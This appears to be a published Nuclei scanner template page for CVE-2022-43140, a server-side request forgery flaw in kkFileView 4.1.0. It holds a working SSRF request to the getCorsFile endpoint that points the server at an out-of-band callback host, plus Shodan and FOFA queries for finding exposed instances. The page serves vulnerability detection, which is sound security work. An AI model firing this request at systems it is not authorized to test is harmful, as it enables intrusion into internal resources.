Skip to content
Nuclei Templates

kkFileView 4.1.0 - Server-Side Request Forgery

ID: CVE-2022-43140

Severity: high

Author: Co5mos

Tags: cve2022,cve,ssrf,kkFileview,keking

Description

Section titled “Description”

kkFileView 4.1.0 is susceptible to server-side request forgery via the component cn.keking.web.controller.OnlinePreviewController#getCorsFile. An attacker can force the application to make arbitrary requests via injection of crafted URLs into the url parameter and thereby potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

YAML Source

Section titled “YAML Source”
id: CVE-2022-43140


info:
  name: kkFileView 4.1.0 - Server-Side Request Forgery
  author: Co5mos
  severity: high
  description: |
    kkFileView 4.1.0 is susceptible to server-side request forgery via the component cn.keking.web.controller.OnlinePreviewController#getCorsFile. An attacker can force the application to make arbitrary requests via injection of crafted URLs into the url parameter and thereby potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access to internal resources, potential data leakage, and further attacks on the server.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the SSRF vulnerability in kkFileView 4.1.0.
  reference:
    - https://github.com/kekingcn/kkFileView/issues/392
    - https://nvd.nist.gov/vuln/detail/CVE-2022-43140
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-43140
    cwe-id: CWE-918
    epss-score: 0.01954
    epss-percentile: 0.88673
    cpe: cpe:2.3:a:keking:kkfileview:4.1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: keking
    product: kkfileview
    shodan-query:
      - http.html:"kkFileView"
      - http.html:"kkfileview"
    fofa-query:
      - app="kkFileView"
      - app="kkfileview"
      - body="kkfileview"
  tags: cve2022,cve,ssrf,kkFileview,keking


http:
  - method: GET
    path:
      - "{{BaseURL}}/getCorsFile?urlPath={{base64('https://oast.me')}}"


    matchers:
      - type: word
        part: body
        words:
          - "<h1> Interactsh Server </h1>"
# digest: 4a0a00473045022100b03d76b6acf310fc94e78db3e51af0d29bc6318c106e1a0f7bd208290a96fb7b02206b24e71f38d5b9475b24b09a40a6b493216bac415babe20e920f7c5e97e67489:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-43140.yaml"

View on Github